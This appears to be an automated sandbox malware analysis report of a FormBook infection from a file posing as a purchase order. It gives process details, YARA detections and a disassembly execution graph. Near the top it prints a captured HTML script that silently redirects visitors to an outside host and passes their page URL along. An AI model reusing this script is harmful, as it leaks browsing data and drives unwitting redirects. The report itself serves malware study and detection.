                                                                                                                                                                                                      Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 61 20 68 72 65 66 3d 22 22 20 69 64 3d 22 68 61 6f 31 32 33 22 3e 3c 2f 61 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 76 61 72 20 73 74 72 55 3d 22 68 74 74 70 73 3a 2f 2f 68 74 74 70 2e 67 6e 33 30 31 2e 63 6f 6d 3a 31 32 33 34 35 2f 3f 75 3d 22 2b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2b 22 26 70 3d 22 2b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 70 61 74 68 6e 61 6d 65 2b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 3b 68 61 6f 31 32 33 2e 68 72 65 66 3d 73 74 72 55 3b 69 66 28 64 6f 63 75 6d 65 6e 74 2e 61 6c 6c 29 7b 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 68 61 6f 31 32 33 22 29 2e 63 6c 69 63 6b 28 29 3b 7d 65 6c 73 65 20 7b 76 61 72 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 76 65 6e 74 28 22 4d 6f 75 73 65 45 76 65 6e 74 73 22 29 3b 65 2e 69 6e 69 74 45 76 65 6e 74 28 22 63 6c 69 [TRUNCATED]
                                                                                                                                                                                                      Data Ascii: <html><head></head><body><a href="" id="hao123"></a><script type="text/javascript">var strU="https://http.gn301.com:12345/?u="+window.location+"&p="+window.location.pathname+window.location.search;hao123.href=strU;if(document.all){document.getElementById("hao123").click();}else {var e=document.createEvent("MouseEvents");e.initEvent("click",true,true);document.getElementById("hao123").dispatchEvent(e);}</script></body></html>


                                                                                                                                                                                                      Statistics

                                                                                                                                                                                                      CPU Usage

                                                                                                                                                                                                      Click to jump to process

                                                                                                                                                                                                      Memory Usage

                                                                                                                                                                                                      Click to jump to process

                                                                                                                                                                                                      High Level Behavior Distribution

                                                                                                                                                                                                      Click to dive into process behavior distribution

                                                                                                                                                                                                      Behavior

                                                                                                                                                                                                      Click to jump to process

                                                                                                                                                                                                      System Behavior

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:0
                                                                                                                                                                                                      Start time:08:43:38
                                                                                                                                                                                                      Start date:09/10/2024
                                                                                                                                                                                                      Path:C:\Users\user\Desktop\PO#001498.exe
                                                                                                                                                                                                      Wow64 process (32bit):true
                                                                                                                                                                                                      Commandline:"C:\Users\user\Desktop\PO#001498.exe"
                                                                                                                                                                                                      Imagebase:0x400000
                                                                                                                                                                                                      File size:1'360'927 bytes
                                                                                                                                                                                                      MD5 hash:DC878E2177F3D0FAD6E29C729252304A
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                                                                      Reputation:low
                                                                                                                                                                                                      Has exited:true

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:2
                                                                                                                                                                                                      Start time:08:43:41
                                                                                                                                                                                                      Start date:09/10/2024
                                                                                                                                                                                                      Path:C:\Windows\SysWOW64\svchost.exe
                                                                                                                                                                                                      Wow64 process (32bit):true
                                                                                                                                                                                                      Commandline:"C:\Users\user\Desktop\PO#001498.exe"
                                                                                                                                                                                                      Imagebase:0xbe0000
                                                                                                                                                                                                      File size:46'504 bytes
                                                                                                                                                                                                      MD5 hash:1ED18311E3DA35942DB37D15FA40CC5B
                                                                                                                                                                                                      Has elevated privileges:true
                                                                                                                                                                                                      Has administrator privileges:true
                                                                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                                                                      Yara matches:
                                                                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2590769596.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.2590769596.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2591746417.0000000003950000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.2591746417.0000000003950000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2591268404.0000000003390000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.2591268404.0000000003390000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                      Reputation:high
                                                                                                                                                                                                      Has exited:true

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:7
                                                                                                                                                                                                      Start time:08:44:16
                                                                                                                                                                                                      Start date:09/10/2024
                                                                                                                                                                                                      Path:C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe
                                                                                                                                                                                                      Wow64 process (32bit):true
                                                                                                                                                                                                      Commandline:"C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe"
                                                                                                                                                                                                      Imagebase:0x430000
                                                                                                                                                                                                      File size:140'800 bytes
                                                                                                                                                                                                      MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                      Has elevated privileges:false
                                                                                                                                                                                                      Has administrator privileges:false
                                                                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                                                                      Yara matches:
                                                                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000007.00000002.4605334741.0000000002710000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000007.00000002.4605334741.0000000002710000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                      Reputation:high
                                                                                                                                                                                                      Has exited:false

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:8
                                                                                                                                                                                                      Start time:08:44:17
                                                                                                                                                                                                      Start date:09/10/2024
                                                                                                                                                                                                      Path:C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                      Wow64 process (32bit):true
                                                                                                                                                                                                      Commandline:"C:\Windows\SysWOW64\forfiles.exe"
                                                                                                                                                                                                      Imagebase:0xa10000
                                                                                                                                                                                                      File size:41'472 bytes
                                                                                                                                                                                                      MD5 hash:D95C443851F70F77427B3183B1619DD3
                                                                                                                                                                                                      Has elevated privileges:false
                                                                                                                                                                                                      Has administrator privileges:false
                                                                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                                                                      Yara matches:
                                                                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.4600039400.0000000000510000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000008.00000002.4600039400.0000000000510000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.4605114558.0000000004440000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000008.00000002.4605114558.0000000004440000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000008.00000002.4603364715.0000000002A20000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000008.00000002.4603364715.0000000002A20000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                      Reputation:moderate
                                                                                                                                                                                                      Has exited:false

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:9
                                                                                                                                                                                                      Start time:08:44:31
                                                                                                                                                                                                      Start date:09/10/2024
                                                                                                                                                                                                      Path:C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe
                                                                                                                                                                                                      Wow64 process (32bit):true
                                                                                                                                                                                                      Commandline:"C:\Program Files (x86)\ELuFdNgZvJhXPFqmtHYLDPFIAPFndseWwPLrYYrXsOyMKscItkAXSMjSkhVmyeckngluXuY\RVeTDjgqyLeJ.exe"
                                                                                                                                                                                                      Imagebase:0x430000
                                                                                                                                                                                                      File size:140'800 bytes
                                                                                                                                                                                                      MD5 hash:32B8AD6ECA9094891E792631BAEA9717
                                                                                                                                                                                                      Has elevated privileges:false
                                                                                                                                                                                                      Has administrator privileges:false
                                                                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                                                                      Yara matches:
                                                                                                                                                                                                      • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000009.00000002.4608485857.0000000005730000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                      • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000009.00000002.4608485857.0000000005730000.00000040.80000000.00040000.00000000.sdmp, Author: unknown
                                                                                                                                                                                                      Reputation:high
                                                                                                                                                                                                      Has exited:false

                                                                                                                                                                                                      General

                                                                                                                                                                                                      Target ID:10
                                                                                                                                                                                                      Start time:08:44:48
                                                                                                                                                                                                      Start date:09/10/2024
                                                                                                                                                                                                      Path:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                      Wow64 process (32bit):false
                                                                                                                                                                                                      Commandline:"C:\Program Files\Mozilla Firefox\Firefox.exe"
                                                                                                                                                                                                      Imagebase:0x7ff728280000
                                                                                                                                                                                                      File size:676'768 bytes
                                                                                                                                                                                                      MD5 hash:C86B1BE9ED6496FE0E0CBE73F81D8045
                                                                                                                                                                                                      Has elevated privileges:false
                                                                                                                                                                                                      Has administrator privileges:false
                                                                                                                                                                                                      Programmed in:C, C++ or other language
                                                                                                                                                                                                      Reputation:high
                                                                                                                                                                                                      Has exited:true

                                                                                                                                                                                                      Disassembly

                                                                                                                                                                                                      Reset < >

                                                                                                                                                                                                        Execution Graph

                                                                                                                                                                                                        Execution Coverage:3.1%
                                                                                                                                                                                                        Dynamic/Decrypted Code Coverage:1.1%
                                                                                                                                                                                                        Signature Coverage:4.3%
                                                                                                                                                                                                        Total number of Nodes:1583
                                                                                                                                                                                                        Total number of Limit Nodes:41
                                                                                                                                                                                                        execution_graph 84720 4444e4 84725 40d900 84720->84725 84722 4444ee 84729 43723d 84722->84729 84724 444504 84726 40d917 84725->84726 84727 40d909 84725->84727 84726->84727 84728 40d91c CloseHandle 84726->84728 84727->84722 84728->84722 84730 40d900 CloseHandle 84729->84730 84731 437247 ctype 84730->84731 84731->84724 84732 3fee3b8 84746 3fec008 84732->84746 84734 3fee48b 84749 3fee2a8 84734->84749 84736 3fee4b4 CreateFileW 84738 3fee508 84736->84738 84739 3fee503 84736->84739 84738->84739 84740 3fee51f VirtualAlloc 84738->84740 84740->84739 84741 3fee53d ReadFile 84740->84741 84741->84739 84742 3fee558 84741->84742 84743 3fed2a8 13 API calls 84742->84743 84744 3fee58b 84743->84744 84745 3fee5ae ExitProcess 84744->84745 84745->84739 84752 3fef4b8 GetPEB 84746->84752 84748 3fec693 84748->84734 84750 3fee2b1 Sleep 84749->84750 84751 3fee2bf 84750->84751 84753 3fef4e2 84752->84753 84753->84748 84754 444343 84757 444326 84754->84757 84756 44434e WriteFile 84758 444340 84757->84758 84759 4442c7 84757->84759 84758->84756 84764 40e190 SetFilePointerEx 84759->84764 84761 4442e0 SetFilePointerEx 84765 40e190 SetFilePointerEx 84761->84765 84763 4442ff 84763->84756 84764->84761 84765->84763 84766 46d22f 84769 46d098 84766->84769 84768 46d241 84770 46d0b5 84769->84770 84771 46d115 84770->84771 84772 46d0b9 84770->84772 84836 45c216 78 API calls 84771->84836 84813 41171a 84772->84813 84775 46d126 84778 46d0f8 84775->84778 84784 46d142 84775->84784 84777 46d0cc 84826 453063 84777->84826 84832 4092c0 84778->84832 84782 46d0fd 84782->84768 84785 46d1c8 84784->84785 84788 46d158 84784->84788 84842 4676a3 78 API calls 84785->84842 84791 453063 111 API calls 84788->84791 84789 46d0ea 84789->84784 84792 46d0ee 84789->84792 84790 46d1ce 84843 4444c2 SetFilePointerEx SetFilePointerEx WriteFile 84790->84843 84803 46d15e 84791->84803 84792->84778 84831 44ade5 CloseHandle ctype 84792->84831 84793 46d18d 84837 467fce 82 API calls 84793->84837 84797 46d196 84838 4013a0 75 API calls 84797->84838 84798 46d1e7 84801 4092c0 VariantClear 84798->84801 84811 46d194 84798->84811 84800 46d1a2 84839 40df50 75 API calls 84800->84839 84801->84811 84803->84793 84803->84797 84804 46d1ac 84840 40d3b0 75 API calls 2 library calls 84804->84840 84806 46d224 84806->84768 84807 46d1b8 84841 467fce 82 API calls 84807->84841 84808 40d900 CloseHandle 84810 46d216 84808->84810 84844 44ade5 CloseHandle ctype 84810->84844 84811->84806 84811->84808 84815 411724 84813->84815 84816 41173e 84815->84816 84821 411740 std::bad_alloc::bad_alloc 84815->84821 84845 4138ba 84815->84845 84863 411afc 6 API calls __decode_pointer 84815->84863 84816->84777 84825 40d940 76 API calls 84816->84825 84818 411766 84867 4116fd 67 API calls std::exception::exception 84818->84867 84820 411770 84868 41805b RaiseException 84820->84868 84821->84818 84864 411421 84821->84864 84824 41177e 84825->84777 84827 45306e 84826->84827 84828 45307a 84826->84828 84827->84828 85006 452e2a 111 API calls 5 library calls 84827->85006 84830 40dfa0 83 API calls 84828->84830 84830->84789 84831->84778 84833 4092c8 ctype 84832->84833 84834 429db0 VariantClear 84833->84834 84835 4092d5 ctype 84833->84835 84834->84835 84835->84782 84836->84775 84837->84811 84838->84800 84839->84804 84840->84807 84841->84811 84842->84790 84843->84798 84844->84806 84846 41396d 84845->84846 84852 4138cc 84845->84852 84876 411afc 6 API calls __decode_pointer 84846->84876 84848 4138dd 84848->84852 84869 418252 67 API calls 2 library calls 84848->84869 84870 4180a7 67 API calls 7 library calls 84848->84870 84871 411803 GetModuleHandleW GetProcAddress ExitProcess ___crtCorExitProcess 84848->84871 84849 413973 84877 417f23 67 API calls __getptd_noexit 84849->84877 84852->84848 84855 413929 RtlAllocateHeap 84852->84855 84857 413965 84852->84857 84858 413959 84852->84858 84861 41395e 84852->84861 84872 41386b 67 API calls 4 library calls 84852->84872 84873 411afc 6 API calls __decode_pointer 84852->84873 84855->84852 84857->84815 84874 417f23 67 API calls __getptd_noexit 84858->84874 84875 417f23 67 API calls __getptd_noexit 84861->84875 84863->84815 84878 4113e5 84864->84878 84866 41142e 84866->84818 84867->84820 84868->84824 84869->84848 84870->84848 84872->84852 84873->84852 84874->84861 84875->84857 84876->84849 84877->84857 84879 4113f1 __close 84878->84879 84886 41181b 84879->84886 84885 411412 __close 84885->84866 84912 418407 84886->84912 84888 4113f6 84889 4112fa 84888->84889 84977 4169e9 TlsGetValue 84889->84977 84892 4169e9 __decode_pointer 6 API calls 84893 41131e 84892->84893 84903 4113a1 84893->84903 84987 4170e7 68 API calls 5 library calls 84893->84987 84895 41133c 84897 411357 84895->84897 84898 411366 84895->84898 84908 411388 84895->84908 84896 41696e __encode_pointer 6 API calls 84899 411396 84896->84899 84988 417047 73 API calls _realloc 84897->84988 84902 411360 84898->84902 84898->84903 84900 41696e __encode_pointer 6 API calls 84899->84900 84900->84903 84902->84898 84905 41137c 84902->84905 84989 417047 73 API calls _realloc 84902->84989 84909 41141b 84903->84909 84990 41696e TlsGetValue 84905->84990 84906 411376 84906->84903 84906->84905 84908->84896 85002 411824 84909->85002 84913 41841c 84912->84913 84914 41842f EnterCriticalSection 84912->84914 84919 418344 84913->84919 84914->84888 84916 418422 84916->84914 84947 4117af 67 API calls 3 library calls 84916->84947 84918 41842e 84918->84914 84920 418350 __close 84919->84920 84921 418360 84920->84921 84922 418378 84920->84922 84948 418252 67 API calls 2 library calls 84921->84948 84930 418386 __close 84922->84930 84951 416fb6 84922->84951 84925 418365 84949 4180a7 67 API calls 7 library calls 84925->84949 84928 4183a7 84933 418407 __lock 67 API calls 84928->84933 84929 418398 84957 417f23 67 API calls __getptd_noexit 84929->84957 84930->84916 84931 41836c 84950 411803 GetModuleHandleW GetProcAddress ExitProcess ___crtCorExitProcess 84931->84950 84935 4183ae 84933->84935 84937 4183e2 84935->84937 84938 4183b6 84935->84938 84939 413a88 __fclose_nolock 67 API calls 84937->84939 84958 4189e6 InitializeCriticalSectionAndSpinCount __close 84938->84958 84941 4183d3 84939->84941 84973 4183fe LeaveCriticalSection _doexit 84941->84973 84942 4183c1 84942->84941 84959 413a88 84942->84959 84945 4183cd 84972 417f23 67 API calls __getptd_noexit 84945->84972 84947->84918 84948->84925 84949->84931 84954 416fbf 84951->84954 84952 4138ba _malloc 66 API calls 84952->84954 84953 416ff5 84953->84928 84953->84929 84954->84952 84954->84953 84955 416fd6 Sleep 84954->84955 84956 416feb 84955->84956 84956->84953 84956->84954 84957->84930 84958->84942 84961 413a94 __close 84959->84961 84960 413b0d __close _realloc 84960->84945 84961->84960 84963 418407 __lock 65 API calls 84961->84963 84971 413ad3 84961->84971 84962 413ae8 RtlFreeHeap 84962->84960 84964 413afa 84962->84964 84968 413aab ___sbh_find_block 84963->84968 84976 417f23 67 API calls __getptd_noexit 84964->84976 84966 413aff GetLastError 84966->84960 84967 413ac5 84975 413ade LeaveCriticalSection _doexit 84967->84975 84968->84967 84974 419f9d __VEC_memcpy VirtualFree VirtualFree HeapFree __shift 84968->84974 84971->84960 84971->84962 84972->84941 84973->84930 84974->84967 84975->84971 84976->84966 84978 416a01 84977->84978 84979 416a22 GetModuleHandleW 84977->84979 84978->84979 84982 416a0b TlsGetValue 84978->84982 84980 416a32 84979->84980 84981 416a3d GetProcAddress 84979->84981 85000 41177f Sleep GetModuleHandleW 84980->85000 84985 41130e 84981->84985 84986 416a16 84982->84986 84984 416a38 84984->84981 84984->84985 84985->84892 84986->84979 84986->84985 84987->84895 84988->84902 84989->84906 84991 4169a7 GetModuleHandleW 84990->84991 84992 416986 84990->84992 84993 4169c2 GetProcAddress 84991->84993 84994 4169b7 84991->84994 84992->84991 84995 416990 TlsGetValue 84992->84995 84999 41699f 84993->84999 85001 41177f Sleep GetModuleHandleW 84994->85001 84998 41699b 84995->84998 84997 4169bd 84997->84993 84997->84999 84998->84991 84998->84999 84999->84908 85000->84984 85001->84997 85005 41832d LeaveCriticalSection 85002->85005 85004 411420 85004->84885 85005->85004 85006->84828 85007 40116e 85008 401119 DefWindowProcW 85007->85008 85009 40f110 RegOpenKeyExW 85010 40f13c RegQueryValueExW RegCloseKey 85009->85010 85011 40f15f 85009->85011 85010->85011 85012 429212 85017 410b90 85012->85017 85015 411421 __cinit 74 API calls 85016 42922f 85015->85016 85018 410b9a __write_nolock 85017->85018 85019 41171a 75 API calls 85018->85019 85020 410c31 GetModuleFileNameW 85019->85020 85034 413db0 85020->85034 85022 410c66 _wcsncat 85037 413e3c 85022->85037 85025 41171a 75 API calls 85026 410ca3 _wcscpy 85025->85026 85027 410cd1 RegOpenKeyExW 85026->85027 85028 429bc3 RegQueryValueExW 85027->85028 85029 410cf7 85027->85029 85030 429cd9 RegCloseKey 85028->85030 85032 429bf2 _wcscat _wcslen _wcsncpy 85028->85032 85029->85015 85031 41171a 75 API calls 85031->85032 85032->85031 85033 429cd8 85032->85033 85033->85030 85040 413b95 85034->85040 85070 41abec 85037->85070 85041 413c2f 85040->85041 85046 413bae 85040->85046 85042 413d60 85041->85042 85043 413d7b 85041->85043 85066 417f23 67 API calls __getptd_noexit 85042->85066 85068 417f23 67 API calls __getptd_noexit 85043->85068 85046->85041 85058 413c1d 85046->85058 85062 41ab19 67 API calls __vswprintf_l 85046->85062 85047 413d65 85052 413cfb 85047->85052 85067 417ebb 6 API calls 2 library calls 85047->85067 85050 413d03 85050->85041 85050->85052 85054 413d8e 85050->85054 85051 413cb9 85051->85041 85053 413cd6 85051->85053 85064 41ab19 67 API calls __vswprintf_l 85051->85064 85052->85022 85053->85041 85053->85052 85057 413cef 85053->85057 85069 41ab19 67 API calls __vswprintf_l 85054->85069 85065 41ab19 67 API calls __vswprintf_l 85057->85065 85058->85041 85061 413c9b 85058->85061 85063 41ab19 67 API calls __vswprintf_l 85058->85063 85061->85050 85061->85051 85062->85058 85063->85061 85064->85053 85065->85052 85066->85047 85068->85047 85069->85052 85071 41ac02 85070->85071 85072 41abfd 85070->85072 85079 417f23 67 API calls __getptd_noexit 85071->85079 85072->85071 85073 41ac22 85072->85073 85077 410c99 85073->85077 85081 417f23 67 API calls __getptd_noexit 85073->85081 85077->85025 85078 41ac07 85080 417ebb 6 API calls 2 library calls 85078->85080 85079->85078 85081->85078 85082 401230 85083 401241 _memset 85082->85083 85084 4012c5 85082->85084 85097 401be0 85083->85097 85086 40126b 85087 4012ae KillTimer SetTimer 85086->85087 85088 42aa61 85086->85088 85089 401298 85086->85089 85087->85084 85092 42aa8b Shell_NotifyIconW 85088->85092 85093 42aa69 Shell_NotifyIconW 85088->85093 85090 4012a2 85089->85090 85091 42aaac 85089->85091 85090->85087 85094 42aaf8 Shell_NotifyIconW 85090->85094 85095 42aad7 Shell_NotifyIconW 85091->85095 85096 42aab5 Shell_NotifyIconW 85091->85096 85092->85087 85093->85087 85094->85087 85095->85087 85096->85087 85098 401bfb 85097->85098 85118 401cde 85097->85118 85119 4013a0 75 API calls 85098->85119 85100 401c0b 85101 42a9a0 LoadStringW 85100->85101 85102 401c18 85100->85102 85104 42a9bb 85101->85104 85120 4021e0 85102->85120 85133 40df50 75 API calls 85104->85133 85105 401c2d 85107 401c3a 85105->85107 85108 42a9cd 85105->85108 85107->85104 85109 401c44 85107->85109 85134 40d3b0 75 API calls 2 library calls 85108->85134 85132 40d3b0 75 API calls 2 library calls 85109->85132 85111 42a9dc 85113 42a9f0 85111->85113 85116 401c53 _memset _wcscpy _wcsncpy 85111->85116 85135 40d3b0 75 API calls 2 library calls 85113->85135 85115 42a9fe 85117 401cc2 Shell_NotifyIconW 85116->85117 85117->85118 85118->85086 85119->85100 85121 4021f1 _wcslen 85120->85121 85122 42a598 85120->85122 85125 402205 85121->85125 85126 402226 85121->85126 85138 40c740 85122->85138 85124 42a5a2 85136 404020 75 API calls ctype 85125->85136 85137 401380 75 API calls 85126->85137 85129 40220c _realloc 85129->85105 85130 40222d 85130->85124 85131 41171a 75 API calls 85130->85131 85131->85129 85132->85116 85133->85116 85134->85111 85135->85115 85136->85129 85137->85130 85139 40c752 85138->85139 85140 40c747 85138->85140 85139->85124 85140->85139 85143 402ae0 75 API calls _realloc 85140->85143 85142 42a572 _realloc 85142->85124 85143->85142 85144 4034b0 85145 4034b9 85144->85145 85146 4034bd 85144->85146 85147 42a0ba 85146->85147 85148 41171a 75 API calls 85146->85148 85149 4034fe _realloc ctype 85148->85149 85150 416193 85187 41718c 85150->85187 85152 41619f GetStartupInfoW 85154 4161c2 85152->85154 85188 41aa31 HeapCreate 85154->85188 85156 416212 85190 416e29 GetModuleHandleW 85156->85190 85160 416223 __RTC_Initialize 85224 41b669 85160->85224 85163 416231 85164 41623d GetCommandLineW 85163->85164 85292 4117af 67 API calls 3 library calls 85163->85292 85239 42235f GetEnvironmentStringsW 85164->85239 85167 41623c 85167->85164 85168 41624c 85245 4222b1 GetModuleFileNameW 85168->85245 85170 416256 85173 416261 85170->85173 85293 4117af 67 API calls 3 library calls 85170->85293 85249 422082 85173->85249 85175 416272 85262 41186e 85175->85262 85178 416279 85180 416284 __wwincmdln 85178->85180 85295 4117af 67 API calls 3 library calls 85178->85295 85268 40d7f0 85180->85268 85183 4162b3 85297 411a4b 67 API calls _doexit 85183->85297 85186 4162b8 __close 85187->85152 85189 416206 85188->85189 85189->85156 85290 41616a 67 API calls 3 library calls 85189->85290 85191 416e44 85190->85191 85192 416e3d 85190->85192 85194 416fac 85191->85194 85195 416e4e GetProcAddress GetProcAddress GetProcAddress GetProcAddress 85191->85195 85298 41177f Sleep GetModuleHandleW 85192->85298 85308 416ad5 70 API calls 2 library calls 85194->85308 85198 416e97 TlsAlloc 85195->85198 85197 416e43 85197->85191 85200 416218 85198->85200 85201 416ee5 TlsSetValue 85198->85201 85200->85160 85291 41616a 67 API calls 3 library calls 85200->85291 85201->85200 85202 416ef6 85201->85202 85299 411a69 6 API calls 4 library calls 85202->85299 85204 416efb 85205 41696e __encode_pointer 6 API calls 85204->85205 85206 416f06 85205->85206 85207 41696e __encode_pointer 6 API calls 85206->85207 85208 416f16 85207->85208 85209 41696e __encode_pointer 6 API calls 85208->85209 85210 416f26 85209->85210 85211 41696e __encode_pointer 6 API calls 85210->85211 85212 416f36 85211->85212 85300 41828b InitializeCriticalSectionAndSpinCount ___lock_fhandle 85212->85300 85214 416f43 85214->85194 85215 4169e9 __decode_pointer 6 API calls 85214->85215 85216 416f57 85215->85216 85216->85194 85301 416ffb 85216->85301 85219 4169e9 __decode_pointer 6 API calls 85220 416f8a 85219->85220 85220->85194 85221 416f91 85220->85221 85307 416b12 67 API calls 5 library calls 85221->85307 85223 416f99 GetCurrentThreadId 85223->85200 85327 41718c 85224->85327 85226 41b675 GetStartupInfoA 85227 416ffb __calloc_crt 67 API calls 85226->85227 85234 41b696 85227->85234 85228 41b8b4 __close 85228->85163 85229 41b831 GetStdHandle 85233 41b7fb 85229->85233 85230 41b896 SetHandleCount 85230->85228 85231 416ffb __calloc_crt 67 API calls 85231->85234 85232 41b843 GetFileType 85232->85233 85233->85228 85233->85229 85233->85230 85233->85232 85329 4189e6 InitializeCriticalSectionAndSpinCount __close 85233->85329 85234->85228 85234->85231 85234->85233 85235 41b77e 85234->85235 85235->85228 85235->85233 85236 41b7a7 GetFileType 85235->85236 85328 4189e6 InitializeCriticalSectionAndSpinCount __close 85235->85328 85236->85235 85240 422370 85239->85240 85241 422374 85239->85241 85240->85168 85242 416fb6 __malloc_crt 67 API calls 85241->85242 85243 422395 _realloc 85242->85243 85244 42239c FreeEnvironmentStringsW 85243->85244 85244->85168 85246 4222e6 _wparse_cmdline 85245->85246 85247 416fb6 __malloc_crt 67 API calls 85246->85247 85248 422329 _wparse_cmdline 85246->85248 85247->85248 85248->85170 85251 42209a _wcslen 85249->85251 85254 416267 85249->85254 85250 416ffb __calloc_crt 67 API calls 85257 4220be _wcslen 85250->85257 85251->85250 85252 422123 85253 413a88 __fclose_nolock 67 API calls 85252->85253 85253->85254 85254->85175 85294 4117af 67 API calls 3 library calls 85254->85294 85255 416ffb __calloc_crt 67 API calls 85255->85257 85256 422149 85258 413a88 __fclose_nolock 67 API calls 85256->85258 85257->85252 85257->85254 85257->85255 85257->85256 85260 422108 85257->85260 85330 426349 67 API calls __vswprintf_l 85257->85330 85258->85254 85260->85257 85331 417d93 10 API calls 3 library calls 85260->85331 85263 41187c __IsNonwritableInCurrentImage 85262->85263 85332 418486 85263->85332 85265 41189a __initterm_e 85266 411421 __cinit 74 API calls 85265->85266 85267 4118b9 __IsNonwritableInCurrentImage __initterm 85265->85267 85266->85267 85267->85178 85269 431bcb 85268->85269 85270 40d80c 85268->85270 85271 4092c0 VariantClear 85270->85271 85272 40d847 85271->85272 85336 40eb50 85272->85336 85275 40d877 85339 411ac6 67 API calls 4 library calls 85275->85339 85278 40d888 85340 411b24 67 API calls __vswprintf_l 85278->85340 85280 40d891 85341 40f370 SystemParametersInfoW SystemParametersInfoW 85280->85341 85282 40d89f 85342 40d6d0 GetCurrentDirectoryW 85282->85342 85284 40d8a7 SystemParametersInfoW 85285 40d8cd 85284->85285 85286 4092c0 VariantClear 85285->85286 85287 40d8dd 85286->85287 85288 4092c0 VariantClear 85287->85288 85289 40d8e6 85288->85289 85289->85183 85296 411a1f 67 API calls _doexit 85289->85296 85290->85156 85291->85160 85292->85167 85293->85173 85294->85175 85295->85180 85296->85183 85297->85186 85298->85197 85299->85204 85300->85214 85304 417004 85301->85304 85303 416f70 85303->85194 85303->85219 85304->85303 85305 417022 Sleep 85304->85305 85309 422452 85304->85309 85306 417037 85305->85306 85306->85303 85306->85304 85307->85223 85308->85200 85310 42245e __close 85309->85310 85311 422476 85310->85311 85321 422495 _memset 85310->85321 85322 417f23 67 API calls __getptd_noexit 85311->85322 85313 42247b 85323 417ebb 6 API calls 2 library calls 85313->85323 85315 422507 HeapAlloc 85315->85321 85317 418407 __lock 66 API calls 85317->85321 85318 42248b __close 85318->85304 85321->85315 85321->85317 85321->85318 85324 41a74c 5 API calls 2 library calls 85321->85324 85325 42254e LeaveCriticalSection _doexit 85321->85325 85326 411afc 6 API calls __decode_pointer 85321->85326 85322->85313 85324->85321 85325->85321 85326->85321 85327->85226 85328->85235 85329->85233 85330->85257 85331->85260 85333 41848c 85332->85333 85334 41696e __encode_pointer 